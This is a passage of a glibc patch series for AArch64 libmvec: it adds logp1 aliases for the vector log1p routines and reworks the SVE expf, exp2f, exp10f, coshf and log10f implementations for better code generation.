+ __sv_f64_t _ZGVsMxvv_pow (__sv_f64_t, __sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_sin (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_sinh (__sv_f64_t, __sv_bool_t);
+diff --git a/sysdeps/aarch64/fpu/log1p_advsimd.c b/sysdeps/aarch64/fpu/log1p_advsimd.c
+index ffc418fc9c..114064c696 100644
+--- a/sysdeps/aarch64/fpu/log1p_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1p_advsimd.c
+@@ -127,3 +127,5 @@ VPCS_ATTR float64x2_t V_NAME_D1 (log1p) (float64x2_t x)
+ 
+   return vfmaq_f64 (y, f2, p);
+ }
++
++strong_alias (V_NAME_D1 (log1p), V_NAME_D1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/log1p_sve.c b/sysdeps/aarch64/fpu/log1p_sve.c
+index 04f7e5720e..b21cfb2c90 100644
+--- a/sysdeps/aarch64/fpu/log1p_sve.c
++++ b/sysdeps/aarch64/fpu/log1p_sve.c
+@@ -116,3 +116,5 @@ svfloat64_t SV_NAME_D1 (log1p) (svfloat64_t x, svbool_t pg)
+ 
+   return y;
+ }
++
++strong_alias (SV_NAME_D1 (log1p), SV_NAME_D1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/log1pf_advsimd.c b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+index dc15334a85..8cfa28fb8a 100644
+--- a/sysdeps/aarch64/fpu/log1pf_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+@@ -128,3 +128,6 @@ VPCS_ATTR float32x4_t V_NAME_F1 (log1p) (float32x4_t x)
+ }
+ libmvec_hidden_def (V_NAME_F1 (log1p))
+ HALF_WIDTH_ALIAS_F1 (log1p)
++strong_alias (V_NAME_F1 (log1p), V_NAME_F1 (logp1))
++libmvec_hidden_def (V_NAME_F1 (logp1))
++HALF_WIDTH_ALIAS_F1 (logp1)
+diff --git a/sysdeps/aarch64/fpu/log1pf_sve.c b/sysdeps/aarch64/fpu/log1pf_sve.c
+index f645cc997e..5256d5e94c 100644
+--- a/sysdeps/aarch64/fpu/log1pf_sve.c
++++ b/sysdeps/aarch64/fpu/log1pf_sve.c
+@@ -98,3 +98,5 @@ svfloat32_t SV_NAME_F1 (log1p) (svfloat32_t x, svbool_t pg)
+ 
+   return y;
+ }
++
++strong_alias (SV_NAME_F1 (log1p), SV_NAME_F1 (logp1))
+diff --git a/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist b/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
+index b685106954..98687cae0d 100644
+--- a/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
++++ b/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
+@@ -128,3 +128,8 @@ GLIBC_2.40 _ZGVsMxvv_hypot F
+ GLIBC_2.40 _ZGVsMxvv_hypotf F
+ GLIBC_2.40 _ZGVsMxvv_pow F
+ GLIBC_2.40 _ZGVsMxvv_powf F
++GLIBC_2.41 _ZGVnN2v_logp1 F
++GLIBC_2.41 _ZGVnN2v_logp1f F
++GLIBC_2.41 _ZGVnN4v_logp1f F
++GLIBC_2.41 _ZGVsMxv_logp1 F
++GLIBC_2.41 _ZGVsMxv_logp1f F
+
+commit 354aeaf2130c1484007025563fe87c997f07324a
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 23 15:26:12 2024 +0100
+
+    AArch64: Improve codegen in SVE expf & related routines
+    
+    Reduce MOV and MOVPRFX by improving special-case handling.  Use inline
+    helper to duplicate the entire computation between the special- and
+    non-special case branches, removing the contention for z0 between x
+    and the return value.
+    
+    Also rearrange some MLAs and MLSs - by making the multiplicand the
+    destination we can avoid a MOVPRFX in several cases.  Also change which
+    constants go in the vector used for lanewise ops - the last lane is no
+    longer wasted.
+    
+    Spotted that shift was incorrect in exp2f and exp10f, w.r.t. to the
+    comment that explains it.  Fixed - worst-case ULP for exp2f moves
+    around but it doesn't change significantly for either routine.
+    
+    Worst-case error for coshf increases due to passing x to exp rather
+    than abs(x) - updated the comment, but does not require regen-ulps.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 7b8c134b5460ed933d610fa92ed1227372b68fdc)
+
+diff --git a/sysdeps/aarch64/fpu/coshf_sve.c b/sysdeps/aarch64/fpu/coshf_sve.c
+index e5d8a299c6..7ad6efa0fc 100644
+--- a/sysdeps/aarch64/fpu/coshf_sve.c
++++ b/sysdeps/aarch64/fpu/coshf_sve.c
+@@ -23,37 +23,42 @@
+ static const struct data
+ {
+   struct sv_expf_data expf_consts;
+-  uint32_t special_bound;
++  float special_bound;
+ } data = {
+   .expf_consts = SV_EXPF_DATA,
+   /* 0x1.5a92d8p+6: expf overflows above this, so have to use special case.  */
+-  .special_bound = 0x42ad496c,
++  .special_bound = 0x1.5a92d8p+6,
+ };
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t pg)
++special_case (svfloat32_t x, svfloat32_t half_e, svfloat32_t half_over_e,
++	      svbool_t pg)
+ {
+-  return sv_call_f32 (coshf, x, y, pg);
++  return sv_call_f32 (coshf, x, svadd_x (svptrue_b32 (), half_e, half_over_e),
++		      pg);
+ }
+ 
+ /* Single-precision vector cosh, using vector expf.
+-   Maximum error is 1.89 ULP:
+-   _ZGVsMxv_coshf (-0x1.65898cp+6) got 0x1.f00aep+127
+-				  want 0x1.f00adcp+127.  */
++   Maximum error is 2.77 ULP:
++   _ZGVsMxv_coshf(-0x1.5b38f4p+1) got 0x1.e45946p+2
++				 want 0x1.e4594cp+2.  */
+ svfloat32_t SV_NAME_F1 (cosh) (svfloat32_t x, svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
+-  svfloat32_t ax = svabs_x (pg, x);
+-  svbool_t special = svcmpge (pg, svreinterpret_u32 (ax), d->special_bound);
++  svbool_t special = svacge (pg, x, d->special_bound);
+ 
+-  /* Calculate cosh by exp(x) / 2 + exp(-x) / 2.  */
+-  svfloat32_t t = expf_inline (ax, pg, &d->expf_consts);
+-  svfloat32_t half_t = svmul_x (pg, t, 0.5);
+-  svfloat32_t half_over_t = svdivr_x (pg, t, 0.5);
++  /* Calculate cosh by exp(x) / 2 + exp(-x) / 2.
++     Note that x is passed to exp here, rather than |x|. This is to avoid using
++     destructive unary ABS for better register usage. However it means the
++     routine is not exactly symmetrical, as the exp helper is slightly less
++     accurate in the negative range.  */
++  svfloat32_t e = expf_inline (x, pg, &d->expf_consts);
++  svfloat32_t half_e = svmul_x (svptrue_b32 (), e, 0.5);
++  svfloat32_t half_over_e = svdivr_x (pg, e, 0.5);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svadd_x (pg, half_t, half_over_t), special);
++    return special_case (x, half_e, half_over_e, special);
+ 
+-  return svadd_x (pg, half_t, half_over_t);
++  return svadd_x (svptrue_b32 (), half_e, half_over_e);
+ }
+diff --git a/sysdeps/aarch64/fpu/exp10f_sve.c b/sysdeps/aarch64/fpu/exp10f_sve.c
+index e09b2f3b27..8aa3fa9c43 100644
+--- a/sysdeps/aarch64/fpu/exp10f_sve.c
++++ b/sysdeps/aarch64/fpu/exp10f_sve.c
+@@ -18,74 +18,83 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f32.h"
+ 
+-/* For x < -SpecialBound, the result is subnormal and not handled correctly by
++/* For x < -Thres, the result is subnormal and not handled correctly by
+    FEXPA.  */
+-#define SpecialBound 37.9
++#define Thres 37.9
+ 
+ static const struct data
+ {
+-  float poly[5];
+-  float shift, log10_2, log2_10_hi, log2_10_lo, special_bound;
++  float log2_10_lo, c0, c2, c4;
++  float c1, c3, log10_2;
++  float shift, log2_10_hi, thres;
+ } data = {
+   /* Coefficients generated using Remez algorithm with minimisation of relative
+      error.
+      rel error: 0x1.89dafa3p-24
+      abs error: 0x1.167d55p-23 in [-log10(2)/2, log10(2)/2]
+      maxerr: 0.52 +0.5 ulp.  */
+-  .poly = { 0x1.26bb16p+1f, 0x1.5350d2p+1f, 0x1.04744ap+1f, 0x1.2d8176p+0f,
+-	    0x1.12b41ap-1f },
++  .c0 = 0x1.26bb16p+1f,
++  .c1 = 0x1.5350d2p+1f,
++  .c2 = 0x1.04744ap+1f,
++  .c3 = 0x1.2d8176p+0f,
++  .c4 = 0x1.12b41ap-1f,
+   /* 1.5*2^17 + 127, a shift value suitable for FEXPA.  */
+-  .shift = 0x1.903f8p17f,
++  .shift = 0x1.803f8p17f,
+   .log10_2 = 0x1.a934fp+1,
+   .log2_10_hi = 0x1.344136p-2,
+   .log2_10_lo = -0x1.ec10cp-27,
+-  .special_bound = SpecialBound,
++  .thres = Thres,
+ };
+ 
+-static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++static inline svfloat32_t
++sv_exp10f_inline (svfloat32_t x, const svbool_t pg, const struct data *d)
+ {
+-  return sv_call_f32 (exp10f, x, y, special);
+-}
+-
+-/* Single-precision SVE exp10f routine. Implements the same algorithm
+-   as AdvSIMD exp10f.
+-   Worst case error is 1.02 ULPs.
+-   _ZGVsMxv_exp10f(-0x1.040488p-4) got 0x1.ba5f9ep-1
+-				  want 0x1.ba5f9cp-1.  */
+-svfloat32_t SV_NAME_F1 (exp10) (svfloat32_t x, const svbool_t pg)
+-{
+-  const struct data *d = ptr_barrier (&data);
+   /* exp10(x) = 2^(n/N) * 10^r = 2^n * (1 + poly (r)),
+      with poly(r) in [1/sqrt(2), sqrt(2)] and
+      x = r + n * log10(2) / N, with r in [-log10(2)/2N, log10(2)/2N].  */
+ 
+-  /* Load some constants in quad-word chunks to minimise memory access (last
+-     lane is wasted).  */
+-  svfloat32_t log10_2_and_inv = svld1rq (svptrue_b32 (), &d->log10_2);
++  svfloat32_t lane_consts = svld1rq (svptrue_b32 (), &d->log2_10_lo);
+ 
+   /* n = round(x/(log10(2)/N)).  */
+   svfloat32_t shift = sv_f32 (d->shift);
+-  svfloat32_t z = svmla_lane (shift, x, log10_2_and_inv, 0);
+-  svfloat32_t n = svsub_x (pg, z, shift);
++  svfloat32_t z = svmad_x (pg, sv_f32 (d->log10_2), x, shift);
++  svfloat32_t n = svsub_x (svptrue_b32 (), z, shift);
+ 
+   /* r = x - n*log10(2)/N.  */
+-  svfloat32_t r = svmls_lane (x, n, log10_2_and_inv, 1);
+-  r = svmls_lane (r, n, log10_2_and_inv, 2);
++  svfloat32_t r = svmsb_x (pg, sv_f32 (d->log2_10_hi), n, x);
++  r = svmls_lane (r, n, lane_consts, 0);
+ 
+-  svbool_t special = svacgt (pg, x, d->special_bound);
+   svfloat32_t scale = svexpa (svreinterpret_u32 (z));
+ 
+   /* Polynomial evaluation: poly(r) ~ exp10(r)-1.  */
+-  svfloat32_t r2 = svmul_x (pg, r, r);
+-  svfloat32_t poly
+-      = svmla_x (pg, svmul_x (pg, r, d->poly[0]),
+-		 sv_pairwise_poly_3_f32_x (pg, r, r2, d->poly + 1), r2);
+-
+-  if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (pg, scale, scale, poly), special);
++  svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), r, lane_consts, 2);
++  svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), r, lane_consts, 3);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
++  svfloat32_t p14 = svmla_x (pg, p12, p34, r2);
++  svfloat32_t p0 = svmul_lane (r, lane_consts, 1);
++  svfloat32_t poly = svmla_x (pg, p0, r2, p14);
+ 
+   return svmla_x (pg, scale, scale, poly);
+ }
++
++static svfloat32_t NOINLINE
++special_case (svfloat32_t x, svbool_t special, const struct data *d)
++{
++  return sv_call_f32 (exp10f, x, sv_exp10f_inline (x, svptrue_b32 (), d),
++		      special);
++}
++
++/* Single-precision SVE exp10f routine. Implements the same algorithm
++   as AdvSIMD exp10f.
++   Worst case error is 1.02 ULPs.
++   _ZGVsMxv_exp10f(-0x1.040488p-4) got 0x1.ba5f9ep-1
++				  want 0x1.ba5f9cp-1.  */
++svfloat32_t SV_NAME_F1 (exp10) (svfloat32_t x, const svbool_t pg)
++{
++  const struct data *d = ptr_barrier (&data);
++  svbool_t special = svacgt (pg, x, d->thres);
++  if (__glibc_unlikely (svptest_any (special, special)))
++    return special_case (x, special, d);
++  return sv_exp10f_inline (x, pg, d);
++}
+diff --git a/sysdeps/aarch64/fpu/exp2f_sve.c b/sysdeps/aarch64/fpu/exp2f_sve.c
+index 8a686e3e05..c6216bed9e 100644
+--- a/sysdeps/aarch64/fpu/exp2f_sve.c
++++ b/sysdeps/aarch64/fpu/exp2f_sve.c
+@@ -24,54 +24,64 @@
+ 
+ static const struct data
+ {
+-  float poly[5];
++  float c0, c2, c4, c1, c3;
+   float shift, thres;
+ } data = {
+-  /* Coefficients copied from the polynomial in AdvSIMD variant, reversed for
+-     compatibility with polynomial helpers.  */
+-  .poly = { 0x1.62e422p-1f, 0x1.ebf9bcp-3f, 0x1.c6bd32p-5f, 0x1.3ce9e4p-7f,
+-	    0x1.59977ap-10f },
++  /* Coefficients copied from the polynomial in AdvSIMD variant.  */
++  .c0 = 0x1.62e422p-1f,
++  .c1 = 0x1.ebf9bcp-3f,
++  .c2 = 0x1.c6bd32p-5f,
++  .c3 = 0x1.3ce9e4p-7f,
++  .c4 = 0x1.59977ap-10f,
+   /* 1.5*2^17 + 127.  */
+-  .shift = 0x1.903f8p17f,
++  .shift = 0x1.803f8p17f,
+   /* Roughly 87.3. For x < -Thres, the result is subnormal and not handled
+      correctly by FEXPA.  */
+   .thres = Thres,
+ };
+ 
+-static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
+-{
+-  return sv_call_f32 (exp2f, x, y, special);
+-}
+-
+-/* Single-precision SVE exp2f routine. Implements the same algorithm
+-   as AdvSIMD exp2f.
+-   Worst case error is 1.04 ULPs.
+-   SV_NAME_F1 (exp2)(0x1.943b9p-1) got 0x1.ba7eb2p+0
+-				  want 0x1.ba7ebp+0.  */
+-svfloat32_t SV_NAME_F1 (exp2) (svfloat32_t x, const svbool_t pg)
++static inline svfloat32_t
++sv_exp2f_inline (svfloat32_t x, const svbool_t pg, const struct data *d)
+ {
+-  const struct data *d = ptr_barrier (&data);
+   /* exp2(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+     x = n + r, with r in [-1/2, 1/2].  */
+-  svfloat32_t shift = sv_f32 (d->shift);
+-  svfloat32_t z = svadd_x (pg, x, shift);
+-  svfloat32_t n = svsub_x (pg, z, shift);
+-  svfloat32_t r = svsub_x (pg, x, n);
++  svfloat32_t z = svadd_x (svptrue_b32 (), x, d->shift);
++  svfloat32_t n = svsub_x (svptrue_b32 (), z, d->shift);
++  svfloat32_t r = svsub_x (svptrue_b32 (), x, n);
+ 
+-  svbool_t special = svacgt (pg, x, d->thres);
+   svfloat32_t scale = svexpa (svreinterpret_u32 (z));
+ 
+   /* Polynomial evaluation: poly(r) ~ exp2(r)-1.
+      Evaluate polynomial use hybrid scheme - offset ESTRIN by 1 for
+      coefficients 1 to 4, and apply most significant coefficient directly.  */
+-  svfloat32_t r2 = svmul_x (pg, r, r);
+-  svfloat32_t p14 = sv_pairwise_poly_3_f32_x (pg, r, r2, d->poly + 1);
+-  svfloat32_t p0 = svmul_x (pg, r, d->poly[0]);
++  svfloat32_t even_coeffs = svld1rq (svptrue_b32 (), &d->c0);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
++  svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), r, even_coeffs, 1);
++  svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), r, even_coeffs, 2);
++  svfloat32_t p14 = svmla_x (pg, p12, r2, p34);
++  svfloat32_t p0 = svmul_lane (r, even_coeffs, 0);
+   svfloat32_t poly = svmla_x (pg, p0, r2, p14);
+ 
+-  if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (pg, scale, scale, poly), special);
+-
+   return svmla_x (pg, scale, scale, poly);
+ }
++
++static svfloat32_t NOINLINE
++special_case (svfloat32_t x, svbool_t special, const struct data *d)
++{
++  return sv_call_f32 (exp2f, x, sv_exp2f_inline (x, svptrue_b32 (), d),
++		      special);
++}
++
++/* Single-precision SVE exp2f routine. Implements the same algorithm
++   as AdvSIMD exp2f.
++   Worst case error is 1.04 ULPs.
++   _ZGVsMxv_exp2f(-0x1.af994ap-3) got 0x1.ba6a66p-1
++				 want 0x1.ba6a64p-1.  */
++svfloat32_t SV_NAME_F1 (exp2) (svfloat32_t x, const svbool_t pg)
++{
++  const struct data *d = ptr_barrier (&data);
++  svbool_t special = svacgt (pg, x, d->thres);
++  if (__glibc_unlikely (svptest_any (special, special)))
++    return special_case (x, special, d);
++  return sv_exp2f_inline (x, pg, d);
++}
+diff --git a/sysdeps/aarch64/fpu/expf_sve.c b/sysdeps/aarch64/fpu/expf_sve.c
+index 3ba79bc4f1..da93e01b87 100644
+--- a/sysdeps/aarch64/fpu/expf_sve.c
++++ b/sysdeps/aarch64/fpu/expf_sve.c
+@@ -18,33 +18,25 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
++#include "sv_expf_inline.h"
++
++/* Roughly 87.3. For x < -Thres, the result is subnormal and not handled
++   correctly by FEXPA.  */
++#define Thres 0x1.5d5e2ap+6f
+ 
+ static const struct data
+ {
+-  float poly[5];
+-  float inv_ln2, ln2_hi, ln2_lo, shift, thres;
++  struct sv_expf_data d;
++  float thres;
+ } data = {
+-  /* Coefficients copied from the polynomial in AdvSIMD variant, reversed for
+-     compatibility with polynomial helpers.  */
+-  .poly = { 0x1.ffffecp-1f, 0x1.fffdb6p-2f, 0x1.555e66p-3f, 0x1.573e2ep-5f,
+-	    0x1.0e4020p-7f },
+-  .inv_ln2 = 0x1.715476p+0f,
+-  .ln2_hi = 0x1.62e4p-1f,
+-  .ln2_lo = 0x1.7f7d1cp-20f,
+-  /* 1.5*2^17 + 127.  */
+-  .shift = 0x1.903f8p17f,
+-  /* Roughly 87.3. For x < -Thres, the result is subnormal and not handled
+-     correctly by FEXPA.  */
+-  .thres = 0x1.5d5e2ap+6f,
++  .d = SV_EXPF_DATA,
++  .thres = Thres,
+ };
+ 
+-#define C(i) sv_f32 (d->poly[i])
+-#define ExponentBias 0x3f800000
+-
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svfloat32_t x, svbool_t special, const struct sv_expf_data *d)
+ {
+-  return sv_call_f32 (expf, x, y, special);
++  return sv_call_f32 (expf, x, expf_inline (x, svptrue_b32 (), d), special);
+ }
+ 
+ /* Optimised single-precision SVE exp function.
+@@ -54,36 +46,8 @@ special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
+ svfloat32_t SV_NAME_F1 (exp) (svfloat32_t x, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+-
+-  /* exp(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+-     x = ln2*n + r, with r in [-ln2/2, ln2/2].  */
+-
+-  /* Load some constants in quad-word chunks to minimise memory access (last
+-     lane is wasted).  */
+-  svfloat32_t invln2_and_ln2 = svld1rq (svptrue_b32 (), &d->inv_ln2);
+-
+-  /* n = round(x/(ln2/N)).  */
+-  svfloat32_t z = svmla_lane (sv_f32 (d->shift), x, invln2_and_ln2, 0);
+-  svfloat32_t n = svsub_x (pg, z, d->shift);
+-
+-  /* r = x - n*ln2/N.  */
+-  svfloat32_t r = svmls_lane (x, n, invln2_and_ln2, 1);
+-  r = svmls_lane (r, n, invln2_and_ln2, 2);
+-
+-  /* scale = 2^(n/N).  */
+   svbool_t is_special_case = svacgt (pg, x, d->thres);
+-  svfloat32_t scale = svexpa (svreinterpret_u32 (z));
+-
+-  /* y = exp(r) - 1 ~= r + C0 r^2 + C1 r^3 + C2 r^4 + C3 r^5 + C4 r^6.  */
+-  svfloat32_t p12 = svmla_x (pg, C (1), C (2), r);
+-  svfloat32_t p34 = svmla_x (pg, C (3), C (4), r);
+-  svfloat32_t r2 = svmul_x (pg, r, r);
+-  svfloat32_t p14 = svmla_x (pg, p12, p34, r2);
+-  svfloat32_t p0 = svmul_x (pg, r, C (0));
+-  svfloat32_t poly = svmla_x (pg, p0, r2, p14);
+-
+   if (__glibc_unlikely (svptest_any (pg, is_special_case)))
+-    return special_case (x, svmla_x (pg, scale, scale, poly), is_special_case);
+-
+-  return svmla_x (pg, scale, scale, poly);
++    return special_case (x, is_special_case, &d->d);
++  return expf_inline (x, pg, &d->d);
+ }
+diff --git a/sysdeps/aarch64/fpu/sv_expf_inline.h b/sysdeps/aarch64/fpu/sv_expf_inline.h
+index 23963b5f8e..6166df6553 100644
+--- a/sysdeps/aarch64/fpu/sv_expf_inline.h
++++ b/sysdeps/aarch64/fpu/sv_expf_inline.h
+@@ -24,19 +24,20 @@
+ 
+ struct sv_expf_data
+ {
+-  float poly[5];
+-  float inv_ln2, ln2_hi, ln2_lo, shift;
++  float c1, c3, inv_ln2;
++  float ln2_lo, c0, c2, c4;
++  float ln2_hi, shift;
+ };
+ 
+ /* Coefficients copied from the polynomial in AdvSIMD variant, reversed for
+    compatibility with polynomial helpers. Shift is 1.5*2^17 + 127.  */
+ #define SV_EXPF_DATA                                                          \
+   {                                                                           \
+-    .poly = { 0x1.ffffecp-1f, 0x1.fffdb6p-2f, 0x1.555e66p-3f, 0x1.573e2ep-5f, \
+-	      0x1.0e4020p-7f },                                               \
+-                                                                              \
+-    .inv_ln2 = 0x1.715476p+0f, .ln2_hi = 0x1.62e4p-1f,                        \
+-    .ln2_lo = 0x1.7f7d1cp-20f, .shift = 0x1.803f8p17f,                        \
++    /* Coefficients copied from the polynomial in AdvSIMD variant.  */        \
++    .c0 = 0x1.ffffecp-1f, .c1 = 0x1.fffdb6p-2f, .c2 = 0x1.555e66p-3f,         \
++    .c3 = 0x1.573e2ep-5f, .c4 = 0x1.0e4020p-7f, .inv_ln2 = 0x1.715476p+0f,    \
++    .ln2_hi = 0x1.62e4p-1f, .ln2_lo = 0x1.7f7d1cp-20f,                        \
++    .shift = 0x1.803f8p17f,                                                   \
+   }
+ 
+ #define C(i) sv_f32 (d->poly[i])
+@@ -47,26 +48,25 @@ expf_inline (svfloat32_t x, const svbool_t pg, const struct sv_expf_data *d)
+   /* exp(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+      x = ln2*n + r, with r in [-ln2/2, ln2/2].  */
+ 
+-  /* Load some constants in quad-word chunks to minimise memory access.  */
+-  svfloat32_t c4_invln2_and_ln2 = svld1rq (svptrue_b32 (), &d->poly[4]);
++  svfloat32_t lane_consts = svld1rq (svptrue_b32 (), &d->ln2_lo);
+ 
+   /* n = round(x/(ln2/N)).  */
+-  svfloat32_t z = svmla_lane (sv_f32 (d->shift), x, c4_invln2_and_ln2, 1);
++  svfloat32_t z = svmad_x (pg, sv_f32 (d->inv_ln2), x, d->shift);
+   svfloat32_t n = svsub_x (pg, z, d->shift);
+ 
+   /* r = x - n*ln2/N.  */
+-  svfloat32_t r = svmls_lane (x, n, c4_invln2_and_ln2, 2);
+-  r = svmls_lane (r, n, c4_invln2_and_ln2, 3);
++  svfloat32_t r = svmsb_x (pg, sv_f32 (d->ln2_hi), n, x);
++  r = svmls_lane (r, n, lane_consts, 0);
+ 
+   /* scale = 2^(n/N).  */
+-  svfloat32_t scale = svexpa (svreinterpret_u32_f32 (z));
++  svfloat32_t scale = svexpa (svreinterpret_u32 (z));
+ 
+   /* y = exp(r) - 1 ~= r + C0 r^2 + C1 r^3 + C2 r^4 + C3 r^5 + C4 r^6.  */
+-  svfloat32_t p12 = svmla_x (pg, C (1), C (2), r);
+-  svfloat32_t p34 = svmla_lane (C (3), r, c4_invln2_and_ln2, 0);
+-  svfloat32_t r2 = svmul_f32_x (pg, r, r);
++  svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), r, lane_consts, 2);
++  svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), r, lane_consts, 3);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
+   svfloat32_t p14 = svmla_x (pg, p12, p34, r2);
+-  svfloat32_t p0 = svmul_f32_x (pg, r, C (0));
++  svfloat32_t p0 = svmul_lane (r, lane_consts, 1);
+   svfloat32_t poly = svmla_x (pg, p0, r2, p14);
+ 
+   return svmla_x (pg, scale, scale, poly);
+
+commit c4373426e3a85ec483a0f412c2a7c6cdfa32ccdb
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 23 15:30:20 2024 +0100
+
+    AArch64: Improve codegen in SVE F32 logs
+    
+    Reduce MOVPRFXs by using unpredicated (non-destructive) instructions
+    where possible.  Similar to the recent change to AdvSIMD F32 logs,
+    adjust special-case arguments and bounds to allow for more optimal
+    register usage.  For all 3 routines one MOVPRFX remains in the
+    reduction, which cannot be avoided as immediate AND and ASR are both
+    destructive.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit a15b1394b5eba98ffe28a02a392b587e4fe13c0d)
+
+diff --git a/sysdeps/aarch64/fpu/log10f_sve.c b/sysdeps/aarch64/fpu/log10f_sve.c
+index bdbb49cd32..7913679f67 100644
+--- a/sysdeps/aarch64/fpu/log10f_sve.c
++++ b/sysdeps/aarch64/fpu/log10f_sve.c
+@@ -24,6 +24,7 @@ static const struct data
+   float poly_0246[4];
+   float poly_1357[4];
+   float ln2, inv_ln10;
++  uint32_t off, lower;
+ } data = {
+   .poly_1357 = {
+     /* Coefficients copied from the AdvSIMD routine, then rearranged so that coeffs
+@@ -35,18 +36,23 @@ static const struct data
+ 		 -0x1.0fc92cp-4f },
+   .ln2 = 0x1.62e43p-1f,
+   .inv_ln10 = 0x1.bcb7b2p-2f,
++  .off = 0x3f2aaaab,
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .lower = 0x00800000 - 0x3f2aaaab
+ };
+ 
+-#define Min 0x00800000
+-#define Max 0x7f800000
+-#define Thres 0x7f000000  /* Max - Min.  */
+-#define Offset 0x3f2aaaab /* 0.666667.  */
++#define Thres 0x7f000000 /* asuint32(inf) - 0x00800000.  */
+ #define MantissaMask 0x007fffff
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svuint32_t u_off, svfloat32_t p, svfloat32_t r2, svfloat32_t y,
++	      svbool_t cmp)
+ {
+-  return sv_call_f32 (log10f, x, y, special);
++  return sv_call_f32 (
++      log10f, svreinterpret_f32 (svadd_x (svptrue_b32 (), u_off, data.off)),
++      svmla_x (svptrue_b32 (), p, r2, y), cmp);
+ }
+ 
+ /* Optimised implementation of SVE log10f using the same algorithm and
+@@ -57,23 +63,25 @@ special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
+ svfloat32_t SV_NAME_F1 (log10) (svfloat32_t x, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  svuint32_t ix = svreinterpret_u32 (x);
+-  svbool_t special = svcmpge (pg, svsub_x (pg, ix, Min), Thres);
++
++  svuint32_t u_off = svreinterpret_u32 (x);
++
++  u_off = svsub_x (pg, u_off, d->off);
++  svbool_t special = svcmpge (pg, svsub_x (pg, u_off, d->lower), Thres);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  ix = svsub_x (pg, ix, Offset);
+   svfloat32_t n = svcvt_f32_x (
+-      pg, svasr_x (pg, svreinterpret_s32 (ix), 23)); /* signextend.  */
+-  ix = svand_x (pg, ix, MantissaMask);
+-  ix = svadd_x (pg, ix, Offset);
++      pg, svasr_x (pg, svreinterpret_s32 (u_off), 23)); /* signextend.  */
++  svuint32_t ix = svand_x (pg, u_off, MantissaMask);
++  ix = svadd_x (pg, ix, d->off);
+   svfloat32_t r = svsub_x (pg, svreinterpret_f32 (ix), 1.0f);
+ 
+   /* y = log10(1+r) + n*log10(2)
+      log10(1+r) ~ r * InvLn(10) + P(r)
+      where P(r) is a polynomial. Use order 9 for log10(1+x), i.e. order 8 for
+      log10(1+x)/x, with x in [-1/3, 1/3] (offset=2/3).  */
+-  svfloat32_t r2 = svmul_x (pg, r, r);
+-  svfloat32_t r4 = svmul_x (pg, r2, r2);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
++  svfloat32_t r4 = svmul_x (svptrue_b32 (), r2, r2);
+   svfloat32_t p_1357 = svld1rq (svptrue_b32 (), &d->poly_1357[0]);
+   svfloat32_t q_01 = svmla_lane (sv_f32 (d->poly_0246[0]), r, p_1357, 0);
+   svfloat32_t q_23 = svmla_lane (sv_f32 (d->poly_0246[1]), r, p_1357, 1);
+@@ -88,7 +96,6 @@ svfloat32_t SV_NAME_F1 (log10) (svfloat32_t x, const svbool_t pg)
+   hi = svmul_x (pg, hi, d->inv_ln10);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (svnot_z (pg, special), hi, r2, y),
+-			 special);
+-  return svmla_x (pg, hi, r2, y);
++    return special_case (u_off, hi, r2, y, special);
++  return svmla_x (svptrue_b32 (), hi, r2, y);
+ }
+diff --git a/sysdeps/aarch64/fpu/log2f_sve.c b/sysdeps/aarch64/fpu/log2f_sve.c
+index 5031c42483..939d89bfb9 100644
